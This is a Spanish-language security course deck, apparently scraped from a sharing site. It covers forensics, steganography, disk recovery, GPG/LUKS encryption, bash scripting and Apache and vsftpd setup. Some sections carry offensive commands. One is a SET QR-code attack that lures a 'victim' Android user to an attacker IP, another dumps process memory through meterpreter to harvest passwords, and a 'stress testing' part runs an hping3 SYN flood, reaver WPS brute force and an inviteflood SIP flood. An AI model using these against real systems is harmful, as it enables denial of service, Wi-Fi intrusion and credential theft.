Hacking Android Android via codigo QR Luego de activar el auxiliary android_htmlfileprovider podemos utilizar la herramienta SET para crear un código QR y que nuestra victima realice un escaneo.



setoolkit

Ahí elegimos la opción 1 1) Social-Engineeing Attacks

y

luego la opción 8

8) QRCode Generator Attack Vector

Hacking Android Android via codigo QR Luego pongo la URL con mi IP y un puerto. •

http://192.168.0.6:8084

Nota: luego que se genera el código QR en la ruta /root/.set/reports/qrcode_attack.png procedemos a moverlo a una ruta ejemplo /root/Desktop/ Luego le aplicamos ingeniería social a la victima para que escanee nuestro código QR desde su Android.

Informática Forense

Informática Forense Que es la Informática Forense? El computo forense, también llamado informática forense, computación forense, análisis forense digital o examinación forense digital es la aplicación de técnicas científicas y analíticas especializadas a infraestructura tecnológica que permiten identificar, preservar, analizar y presentar datos que sean validos dentro de un proceso legal. Dichas técnicas incluyen reconstruir el bien informático, examinar datos residuales, autenticar datos y explicar las características técnicas del uso aplicado a los datos y bienes informáticos.

Informática Forense Informática Forense Como la definición anterior lo indica, esta disciplina hace uso no solo de tecnologías de punta para poder mantener la integridad de los datos y del procesamiento de los mismos; sino que también requiere de una especialización y conocimientos avanzados en materia de informática y sistemas para poder detectar dentro de cualquier dispositivo electrónico lo que ha sucedido. El conocimiento del informático forense abarca el conocimiento no solamente del software si no también de hardware, redes, seguridad, hacking, cracking, recuperación de información.

La informática forense ayuda a detectar pistas sobre ataques informáticos, robo de información, conversaciones o pistas de emails, chats.

Informática Forense Informática Forense Adicionalmente, un examinador forense digital, dentro del proceso del computo forense puede llegar a recuperar información que haya sido borrada desde el sistema operativo. Es muy importante mencionar que la informática forense o computo forense no tiene parte preventiva, es decir, la informática forense no tiene como objetivo el prevenir delitos, de ello se encarga la seguridad informática, por eso resulta imprescindible tener claro el marco de actuación entre la informática forense, la seguridad informática y la auditoria informática.

Informática Forense Que son los metadatos? Los metadatos son datos altamente estructurados que describen información, describen el contenido, la calidad, la condición y otras características de los datos. Algunas Herramientas: • Exiftool • Grampus • Foremost • Bulk_extractor • Foca

Informática Forense Sacar Metadata •

exiftool imagen.jpg



exiftool –all= imagen.jpg



bulk_extractor imagen.jpeg -o salida-archivo



pdf-parser documento.pdf



foremost documento.pdf



Python MainGrampus.py

# para borrar metadata

Informática Forense Esteganografía La estenografía es el estudio y aplicación de técnicas que permiten ocultar mensajes u objetos, dentro de otros, llamados portadores, de modo que no se perciba su existencia. Es decir, procura ocultar mensajes dentro de otros objetos y de esta forma establecer un canal encubierto de comunicación, de modo que el propio acto de la comunicación pase inadvertido para observadores que tienen acceso a ese canal. Una forma de diferenciar la estenografía con la criptografía común es que la criptografía solo cifra los archivos manteniendo el archivo original visible pero al abrirlo mostrara una secuencia de caracteres que no permitirá su lectura y para ver su contenido original es necesario conocer la clave. En la estenografía pude verse un archivo con un formato diferente y para conocer su contenido original será necesario conocer la clave y el software con el que se ocultó.

Informática Forense Esteganografía Algunas herramientas para Esteganografia: •

StegHide



OpenStego



Steganography Master



OurSecret



Hakros Concealer

Informática Forense Esteganografía Para Esteganografía con los comandos de Linux: •

cat foto.jpg archivo-creado.txt > fotonueva.jpg

Para ver si la foto contiene alguna informacion lo vemos asi: •

cat < fotonueva.jpg

StegHide



steghide embed -cf foto.jpg -ef secret.txt # para agregar el archivo



steghide info foto.jpg

# para informacion del archivo



steghide extract -sf foto.jpg

# para extraer data

Informática Forense Esteganografía OpenStego Es una herramienta Open Source y se utiliza bastante para trabajar con simples archivos.

Informática Forense Borrar Archivos de Forma Segura Shred es una herramienta que su función principal es modificar la información de un archivo llenándolos de ceros para luego borrarlo. • •

man shred shred --help

• • • •

shred -vz archivo.txt cat archivo.txt hexdump archivo.txt hexeditor archivo.txt

# para modificar la info del archivo. # para ver info en hexadecimal. # para manipular info en hexadecimal.

También podemos trabajar de la misma forma con Dispositivos • • • •

hexdump /dev/sdc hexeditor -h hexeditor –f usb.img hexeditor /dev/sdc

Informática Forense Copiar un Disco entero para sacar una Imagen Para esto puedo utilizar la herramienta dc3dd o dd • •

man dc3dd dc3dd --help

• • • •

dc3dd if=/dev/sdc of=/root/Desktop/usb.img o dd if=/dev/zero of=/mnt/usb.img sync

• •

du -sch usb.img file usb.img

Nota: En base a esta imagen ya podemos trabajar como si de un disco cualquiera estuvieramos hablando. tambien podemos sacar una imagen de un Disco con el utilitario dd nativo en todos los *nix.

Informática Forense Recuperación de Archivos desde un Disco Una vez tenemos una imagen del disco o tenemos el disco conectado procedemos a utilizar varias herramientas: Con recoverjpeg podemos recuperar imagenes de tipo jpeg • recoverjpeg usb.img

Otro programa en recuperación de archivos mas avanzado es scalpel • man scalpel • locate scalpel.conf

Puedo copiar el archivo scalpel.conf en mi directorio actual y editarlo para descomentar los tipos de extensiones de archivos que queremos recuperar. •

scalpel -c scalpel.conf -o recuperar usb.img

Informática Forense Recuperación de Archivos desde un Disco Otra herramienta es magicrescue para conocidos y es del tipo Open Source.

escanear

tipos



man magicrescue



locate recipes



cd /usr/share/magicrescue/recipes



ls

• •

mkdir rescate magicrescue -r zip -r msoffice -d rescate -M io usb.img

de

archivos

Informática Forense Recuperación de Archivos desde un Disco Otro software para recuperar archivos con mas profundidad es FOREMOST, para recuperar archivos usando sus headers, footers y estructura de datos

Ejemplo: •

man foremost



foremost -h



foremost -t pdf,rar,exe -o amix-foremost usb.img

Informática Forense Recuperación de Archivos desde un Disco Safecopy es una herramienta que intenta obtener toda la data posible desde un disco con posibles particiones danadas. • •

man safecopy safecopy –help



safecopy /dev/sdc /root/Desktop/safecopy/usb.img

Luego analizamos el archivo con hexeditor Otra herramienta es Bulk_Extractor para extraer informacion de alguna imagen de disco. •

bulk_extractor -o info-recopilada /dev/sdc1

Informática Forense Recuperación de Archivos desde un Disco Otra herramienta es FTKImager para Windows y sirve para realizar copias idénticas del disco windows con espacios y todo. Una herramienta para hacer el análisis a la imagen windows es DumpIt en Windows. Otra herramienta es forensics toolkit - AccesssData FTK de la misma compañía que FTKImager.

Otra herramienta muy importante es Autopsy. Es bastante utilizada y es Open Source.

Informática Forense Sacar información desde un Proceso Desde la consola de Meterpreter en Metasploit podemos hacer un Dump a un proceso y ver todo lo relacionado a ese proceso en especifico, desde contraseñas y otras informaciones.



meterpreter > run process_memdump -p PID

Luego lo abrimos según la ruta donde ha sido descargado el archivo. Para apreciar mejor la información del archivo lo podemos ver con el editor vim o con strings para ver contraseñas y demás por ejemplo de Gmail.

Informática Forense Sacar información de la RAM Volatility es una colección de herramientas completamente Open Source, implementado en Python bajo la Licencia Pública General de GNU, para la extracción de los artefactos digitales a partir de muestras de memoria volátil (RAM). Las técnicas de extracción se realizan completamente independiente del sistema que está siendo investigado, pero ofrecen una visibilidad sin precedentes en el estado de ejecución del sistema. El marco está destinado a introducir a la gente a las técnicas y las complejidades asociadas con la extracción de los artefactos digitales a partir de muestras de memoria volátil y proporcionar una plataforma para futuros trabajos en esta área de investigación interesante.

• • •

volatility –h volatility –f /ruta/de/imagen.img pslist volatility –f /ruta/de/imagen.img hashdump

Nota: siempre se debe de especificar la ruta completa de la imagen.

Pruebas de Estrés

Pruebas de Estrés Pruebas de Estrés Las pruebas de estres se realizan para testear nuestros servicios antes de ser pasados a produccion. Muchas de estas herramientas son utilizadas para otros fines malisiosos debido a la función de la misma.

Entre algunas de estas herramientas podemos mencionar: • • • • •

Ab Inundator Inviteflood Reaver Hping3

Pruebas de Estrés Pruebas de Estrés Ab es una herramienta para el testeo de un servidor Web con Apache Ejemplo:

• •

ab -h ab -n 1000000 –c 500 http://www.pagina.com/

Inundator es un generador de multiproceso, cola impulsada, anónimo de detección de intrusos falsos positivos con soporte para múltiples objetivos.

http://inundator.sourceforge.net Ejemplo: • •

inundator –h inundator –t 5 192.168.0.1

# para descargarlo

Pruebas de Estrés Pruebas de Estrés Inviteflood es una herramienta para llevar a cabo SIP/SDP INVITE mensaje de inundaciones a través de UDP/IP. Fue probado en una plataforma Linux Red Hat Fedora Core 4 (Pentium IV, 2,5 GHz), pero se espera que esta herramienta se va a crear y ejecutar en una gran variedad de distribuciones de Linux con éxito. Ejemplo: •

inviteflood –h



inviteflood wlan0 5000 www.victima.com ip-victima 1000000

Pruebas de Estrés Pruebas de Estrés Reaver implementa ataques de fuerza bruta contra de configuración Wi-Fi protegida (WPS) con el fin de recuperar las contraseñas WPA/WPA2. Ejemplo: •

airmon-ng start wlan0

• • •

wash –h wash –i wlan0mon wash –i wlan0mon0 –c 6 –C

En otra consola hago lo siguiente: • •

reaver –h reaver –i wlan0mon –b E0:3A:39:6A:56:67 -v

Pruebas de Estrés Pruebas de Estrés Hping3 es una herramienta para los sistemas GNU/Linux que nos permite modificar paquetes TCP/IP para comprobar la conectividad, la seguridad de un sistema, hacer denegación de servicios, etc.



hping3 –h

Ejemplo: Para realizar denegación de un servicio •

hping3 --syn --flood --rand-source 192.168.0.40 --destport 22

Para pasar a traves de un firewall y ver puertos abiertos •

hping3 –S 192.168.1.40 –c 100 –p ++1

Programación de Scripts en Bash

Scripts en Bash Que es BASH? Bash significa Bourne again Shell, y es el nombre la version libre desarrollada por el proyecto GNU de la antigua bourne shell de UNIX. Bash es el interprete de comandos (shell) por defecto de los sistemas operativos basados en el kernel Linux y su funcion es proporcionar una interfaz en la cual el usuario introduce comandos que la shell interpreta y envia al nucleo (kernel) para que este ejecute las operaciones. Cada vez utilizamos comandos de consola (cp, ls, cd, mkdir, cat, etc.) estamos haciendo uso de un intreprete de comandos, el cual por lo general es Bash. Programas como aterm, Eterm, xterm y similares no son mas que interfaces que permiten a Bash ejecutarse desde una ventana.

Scripts en Bash Que es un Script? Se le suele llamar script a una pieza de software que no necesita ser compilado para ser ejecutado. Un ejemplo: Crear un archivo siguiente:

con

un

editor

“vim

primero.sh”

y

#!/bin/bash echo Hola Mundo Una vez que hemos grabado podemes ejecutarlo de esta forma: •

bash primero.sh

agregarle

lo

Scripts en Bash Oh asignandole los permisos de ejecucion con “chmod +x primero.sh” para poder ejecutarlo de la siguiente manera. •

./primero.sh

Para un “Hola Mundo” con variables: #!/bin/bash CAD="Hola Mundo!" echo $CAD

Para un script de copias de seguridad simple: #!/bin/bash tar -czf /var/my-backup.tgz /mnt/archivos/

Scripts en Bash Para realizar copias de seguridad con variables: #!/bin/bash OF=/var/mi-backup-$(date +%Y%m%d).tgz tar -czf $OF /mnt/archivos/ Un script de copia de seguridad con mas variables, pero primero creamos el directorio copias_de_seguridad en /var: •

mkdir /var/copias_de_seguridad

Luego el script en bash #!/bin/bash ORIG="/home/" DEST="/var/copias_de_seguridad/" FICH=home-$(date +%Y%m%d).tgz tar -czf $DEST$FICH $ORIG

Scripts en Bash Ejemplo básico de condicional if .. then: #!/bin/bash if [ "seguridad" = "seguridad" ]; then echo expresión evaluada como verdadera fi

Ejemplo básico de condicional if .. then ... else: #!/bin/bash

if [ "seguridad" = "seguridad" ]; then echo expresión evaluada como verdadera else echo expresión evaluada como falsa fi

Scripts en Bash Condicionales con variables #!/bin/bash T1="petete" T2="peteto" if [ "$T1" = "$T2" ]; then echo expresión evaluada como verdadera else echo expresión evaluada como falsa fi Comprobando si existe un fichero #!/bin/bash FILE=~/.basrc if [ -f $FILE ]; then echo el fichero $FILE existe else echo fichero no encontrado fi

Scripts en Bash Leyendo información del usuario #!/bin/bash echo Por favor introduzca su nombre: read NOMBRE echo "Hola $NOMBRE, bienvenido a la clase…" Otro ejemplo #!/bin/bash echo "ingrese un numero: " read dato1 echo "ingrese otro numero: " read dato2 multip=$[$dato1*$dato2] echo "$dato1 multiplicado por $dato2 es igual a $multip"

Criptografía

Criptografía En muchas ocaciones manejamos informacion que es de vital importancia y no debe estar expuesta, para esto debemos de asegurarnos que no pueda ser captada por la competencia o curiosos. Para evitar esto y darle ciertos niveles de seguridad, existe la criptografia, donde nuesta informacion por el medio que sea de forma que no sea legible a simple vista o necesite de contrasenas para poder ser leida. A esto es lo que se llama criptografia, a encriptar nuesta informacion. Hoy en dia cualquiera puede hacerse con un criptosistema seguro como PGP (Pretty Good Privacy). GnuPG es un reemplazo completo para PGP. Puede ser utilizado sin restricciones gracias a que prescinde del algoritmo patentado IDEA. GnuPG es software libre por lo que puede ser utilizado, modificado y distribuido libremente bajo los terminos de la GPLv2.

Criptografía Lo primero es conocer los dos tipos de encriptacion que existen, los simetricos y los asimetricos.

Cifrado Simetrico Es aquel en donde se utiliza una sola llave para cifrar y descifrar la informacion. Es tambien conocido como “Shared Key” o “Shared Secret”.

Ejemplo: Un usuario “Pedro” le envia un archivo “prueba” al usuario “Manuel”, Pedro utiliza la llave “*Abc123” para cifrar el archivo. El usuario Manuel lo recibe pero para descrifrarlo debe utilizer la misma llave “*Abc123” de Pedro.

Criptografía Algunos algoritmos de cifrado Simetricos: • • • •

DES 3DES AES RC4

La ventaja del cifrado simetrico es la sencillez y rapidez. Cifrado Asimetrico: Es tambien conocido como Criptografia de Llave Publica. Este emplea dos llaves en vez de una, esto para ejercer las funciones de cifrado y descifrado de la informacion. La llave publica es utilizada para cifrar la informacion y la llave privada para descifrar la informacion.

Criptografía Ejemplo: Los usuarios Pedro y Manuel deben estar de acuerdo para que solo ellos puedan ver sus mensajes enviados utilizando un algoritmo Asimetrico como “RSA” o “El Gamal”. Pedro cifra un archivo con la llave publica. GnuPG GNU Privacy Guard (GnuPG o GPG) es una herramienta de cifrado y firmas digitales desarrollado por Werner Koch, que viene a ser un reemplazo del PGP (Pretty Good Privacy) pero con la principal diferencia que es software libre licenciado bajo la GPL. GPG utiliza el estándar del IETF denominado OpenPGP. • •

man gpg gpg --help

Criptografía Cifrar archivos con GnuPG de forma Simetrica • •

cp /etc/passwd archivo-simetrico.txt gpg --symmetric archivo-simetrico.txt



cat archivo-simetrico.txt.gpg

Descifrar archivos de GnuPG Para verlo en pantalla •

gpg --decrypt archivo-simetrico.txt.gpg

Para redireccionarlo a un archivo •

gpg --decrypt archivo-simetrico.txt.gpg > archivo.txt

Criptografía Otra forma de descifrar el archivo •

gpg archivo-simetrico.txt.gpg

Otra forma de agregarle mas seguridad a un cifrado simetrico es con el algoritmo AES. •

gpg –a --symmetric --cipher-algo AES –o archivo-simetrico.aes archivo-simetrico.txt



file archivo-simetrico.aes



gpg --decrypt archivo-simetrico.aes > archivo.txt

Criptografía Cifrado de Particiones con LUKS LUKS (Linux Unified Key Setup-on-disk-format) es una implementacion muy sencilla de utilizar para la gestión de particiones y unidades de almacenamiento cifradas en GNU/Linux. Se recomienda su uso en dispositivos moviles, computadoras portatiles y dispositivos de almacenamiento cuya informacion se desee proteger en caso de extravio o robo. Las particiones o unidades de almacenamiento externo cifradas con LUKS, pueden ser utilizadas desde Windows utilizando FreeOTFE.

Es de vital importancia realizar una copia de seguridad de la partición con la que vamos a trabajar ya que se pierde todo. una vez hecho el respaldo y que se haya verificado que el respaldo es confiable, procedemos a desmontar la partición que se pretende cifrar.

Criptografía Cifrado de Particiones con LUKS • •

man cryptsetup cryptsetup --help

Si tenemos una memoria USB •

fdisk –l

En el caso que sea el dispositivo sdb •

cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb1



cryptsetup luksOpen /dev/sdb1 amix-datos

Criptografía Cifrado de Particiones con LUKS Lo anterior crea un nuevo dispositivo denominado /dev/mapper/amix-datos. •

ls –l /dev/mapper

Para que el sistema operativo pueda utilizarlo, este nuevo dispositivo requiere ser formateado. En el siguiente ejemplo se da formato en ext4 a /dev/mapper/amix-datos: •

mkfs.ext4 /dev/mapper/amix-datos

Luego montar el disco •

mount /dev/mapper/amix-datos /media/egrullon

Y listo…

Criptografía Cifrado de Particiones con LUKS Para desmontar la memoria Cifrada debemos hacer la primera vez: Desmontar la partición:



umount /media/egrullon/amix-datos

Desconecte el dispositivo ejecutando cryptsetup, con la opcion luksClose y el nombre del dispositivo, de acuerdo a como lo vea el planificador de dispositivos: •

cryptsetup luksClose /dev/mapper/amix-datos

Luego desconectar y conectar la USB nuevamente…

Configuración de un Web Server

Web Server Apache Apache Server es sin duda uno de los servidores de aplicaciones web mas usados en el mundo, es por esto que vamos a ver como se instala, se configura y se crean sites o webs. Posteriormente veremos como securizarlo, pero para eso es necesario conocer un poco su estructura. Para subir el servicio de apache decimos: •

systemctl start apache2

Y para que el servicios suba automaticamente con el reinicio del servidor pues decimos: •

systemctl enable apache2

En la URL probamos con la IP 127.0.0.1, con localhost, o con el nombre del equipo.

Web Server Apache La web que vemos en la pantalla anterior es un index o pagina de inicio que se encuentra en el directorio /var/www/html. Los archivos del Apache, se encuentran en el /etc/apache2, si ejecutamos el comando ls podremos ver su contenido. •

ls /etc/apache2/

Los archivos de la carpeta mods-available son los módulos internos que vienen con Apache, que deberemos desactivar si no los usamos para aumentar la seguridad. En el directorio mods-enabled, encontramos los módulos mas usados que vienen activados por defecto.

Web Server Apache Con Apache podremos crear varios Sites o paginas web. Para desactivar un site se usa el comando a2dissite. En el siguiente ejemplo desactivaremos el Site por defecto que trae Apache. •

cd /etc/apache2/sites-available



a2dissite 000-default.conf

Luego de esto podemos verificar el directorio /etc/apache2/sites-enabled para comprobar que el link simbolico del archivo 000-default.conf no esta en esta ruta. Para activar los sites, es con el comando a2ensite. Vuelvemos a activar el Site por defecto y verificamos. •

a2ensite 000-default.conf

Web Server Apache Ahora vamos a probar con una pagina en PHP Creamos el siguiente fichero de pagina web con los comandos que se muestran en php dentro y lo llamamos info.php. Es importante crear este fichero en el directorio web, para ello podemos usar el comando sudo nano /var/www/html/info.php, que abrir un editor de texto y crear el archivo info.php dentro del directorio indicado si no existe. vim /var/www/html/info.php Y probar la URL 127.0.0.1/info.php

Web Server Apache En el fichero /etc/apache2/mods-enabled/dir.conf se muestran los nombres y extensiones de los archivos web que se consideran de inicio. Se pueden quitar, cambiar o añadir los que se deseen. Busca en el orden indicado pasando de uno en uno hasta encontrar uno existente. Si queremos que por ejemplo nuestra pagina de inicio o principal de la web fuese home.html, deberíamos incluirlo. Creacion de SITES Vamos a crear una web llamada www.qubit-security.com. Para que funcione desde fuera, deberíamos comprar el dominio y redireccionarlo a la IP publica que tenga el servidor, pero para el ejemplo vamos a trabajar en local. Para ello ponemos lo siguiente en el archivo qubit-security.conf, poniendo la IP privada del servidor donde esta Apache, es decir, la del Linux con el que estemos trabajando. Para obtenerla si no la conocemos usamos el comando ifconfig.

Web Server Apache cd /etc/apache2/sites-available creamos un archivo llamado: qubit-security.conf •

vim qubit-security.conf

ServerName www.qubit-security.com ServerAdmin amix@localhost DocumentRoot /var/www/qubit-security DirectoryIndex index.html ServerAlias qubit-security.com

Luego creamos el directorio qubit-security y le creamos un archivo index.html dentro.

Web Server Apache • • •

cd /var/www/ mkdir qubit-security echo "Primer site de Qubit Security" > qubit-security/index.html

Ahora editamos el archivo /etc/apache2/ports.conf y añadimos lo siguiente, pero puede ser opcional: NameVirtualHost www.qubit-security.com:80 luego en /etc/apache2/sites-available activamos el site para que nos cree el link simbólico en /etc/apache2/sites-enabled. • • •

a2ensite qubit-security.conf apachectl configtest systemctl reload apache2

Nota: para que este dominio nos funcione localmente pues procedemos a agregar nuestra IP y dominio "qubit-security" en el archivo /etc/hosts.

Web Server Apache Directivas de Acceso Apache dispone de directivas de seguridad, vamos a ver algunos ejemplos. En el archivo de qubit-security.conf agregamos la siguiente información.

Order allow,deny allow from all deny from 192.168.0.8 Ahora dentro del directorio /var/www/qubit-security creamos otro directorio llamado clase y dentro de clase creamos con touch varios .html. •

touch hola.html amix.html seguridad.html

Nota: asi podemos probar que estas paginas existen dentro de clase.

Web Server Apache Directivas de Acceso En el archivo /etc/apache2/sites-avaliable/qubit-security.conf agregamos lo siguiente: Options +Indexes -FollowSymlinks -Multiviews AllowOverride None Order allow,deny allow from all # DirectoryIndex index.html

Luego recargamos el servicios y entramos a la URL •

service apache2 reload

Nuevamente entramos al archivo de configuracion y descomentamos DirectoryIndex index.html, recargamos apache y probamos en la URL.

Configuración de un FTP Server

FTP Server con vsftpd FTP File Transfer Protocol o Protocolo de Transferencia de Archivos (o archivos informáticos) es uno de los protocolos estándar mas utilizados en Internet siendo el mas idóneo para la transferencia de grandes bloques de datos a través de redes que soporten TCP/IP. El servicio utiliza los puertos 20 y 21, exclusivamente sobre TCP. El puerto 20 es utilizado para el flujo de datos entre cliente y servidor. El puerto 21 es utilizando para el envío de ordenes del cliente hacia el servidor.

Prácticamente todos los sistemas operativos y plataformas incluyen soporte para FTP, lo que permite que cualquier computadora conectada a una red basada sobre TCP/IP pueda hacer uso de este servicio a través de un cliente FTP.

FTP Server con vsftpd Vsftpd Very Secure FTP Daemon es un equipamiento lógico utilizado para implementar servidores de archivos a través del protocolo FTP. Se distingue principalmente porque sus valores predeterminados son muy seguros y por la sencillez para su configuración cuando se le es comparado con otras alternativas como ProFTPD y Wu-ftpd. En la actualidad se estima que vsftpd podría ser quizás el servidor FTP mas seguro del mundo. SFTP/SCP es el protocolo FTP con conexión segura mediante SSH. Esto es de gran utilidad en los servidores web, donde es necesaria la trasferencia de archivos mediante FTP. Con este protocolo nos aseguramos de que al menos dispongamos de una mayor seguridad.

FTP Server con vsftpd Vsftpd Para el caso de los debian lo primero lo instalamos con el comando •

aptitude install vsftpd

Luego procedemos a editar su archivo de configuración que esta en el directorio /etc y realizamos varios cambios. •

vim /etc/vsftpd.conf



listen=YES

Quitamos usuarios anónimos como se muestra en la siguiente imagen. •

anonymous_enable=NO

FTP Server con vsftpd Vsftpd Desmarcamos la siguiente línea para poder conectar con usuarios locales, para ello le quitamos la almohadilla. • •

local_enable=YES local_umask=022

Desmarcamos la siguiente también para poder escribir datos. •

write_enable=YES

• •

ascii_upload_enable=YES ascii_download_enable=YES

• •

chroot_local_user=YES chroot_list_enable=YES

FTP Server con vsftpd Vsftpd Desmarcamos la lista para poder asignar usuarios que definiremos en una lista de acceso. •

chroot_list_file=/etc/vsftpd.chroot_list



ls_recurse_enable=YES

Podemos cambiar los mensajes de bienvenida aunque por seguridad no es bueno describir algún servicio.



ftp_banner=Saludos FTP...



local_root=public_html

FTP Server con vsftpd Vsftpd • •

vim /etc/vsftpd.chroot_list invitado systemctl restart vsftpd.service

Salvamos y creamos un directorio /home/ftp con mkdir en nuestro Linux donde tendremos el servicio instalado. • •

mkdir /home/ftp/invitado chown –R invitado:invitado /home/ftp/invitado



useradd -g ftp -d /home/ftp/invitado/ -c "comentario ftp" invitado –s /sbin/nologin

FTP Server con vsftpd Vsftpd Le asignamos un password al usuario •

passwd invitado

Por ultimo descargamos las cualquiera de los clientes FTP, lftp o Filezilla. En este caso: •

aptitude install lftp

Y para conectarnos: • • • •

lftp lftp lftp lftp

–u invitado IP-servidor-ftp invitado@IP-servidor-ftp:~> ls invitado@IP-servidor-ftp:~> !ls invitado@IP-servidor-ftp:~> bye

Logs del Sistema

Los Logs de un Sistema Syslog Es un estándar utilizado para la captura, el procesamiento y el trasporte de mensajes de registro del sistema —es decir las bitácoras del sistema. Es tanto un protocolo de red como a la aplicación o biblioteca compartida que sirve para procesar y enviar los mensajes de registro del sistema . Los mensajes se etiquetan con un código de identificación de entre los siguientes: auth, authpriv, daemon, cron, ftp, lpr, kern, mail, news, syslog, user, uucp y local0 hasta local7. La etiqueta también incluye el tipo de programa que genero los mensajes, indicando también el nivel de severidad de entre los siguientes: Emergency, Alert, Critical, Error, Warning, Notice, Info y Debug.

Los Logs de un Sistema Rsyslog Es un eficiente y rápido sistema de procesamiento de registros de sistema. Ofrece un diseño modular de alto desempeño y niveles de seguridad apropiados. A diferencia de sus predecesores —sysklog y syslog— permite ingreso de daos desde diversas fuentes, trasformación de datos y salida de resultados hacia varios destinos. Es lo suficientemente versátil y robusto para ser utilizado en entornos empresariales y tan ligero y sencillo que permite utilizarlo también en sistemas pequeños. Permite almacenar las bitácoras en archivos de texto simple o bases de datos MySQL y PostgreSQL, utilizar otros destinos en caso de falla, transporte de syslog a traves de tcp, control detallado de formatos, etiquetas de tiempo exactas, operaciones en cola de procesamiento y capacidades de filtrado en cualquier parte de los mensajes.

Muchas Gracias por su Tiempo…

View more...

Comments

Copyright ©2017 KUPDF Inc.
SUPPORT KUPDF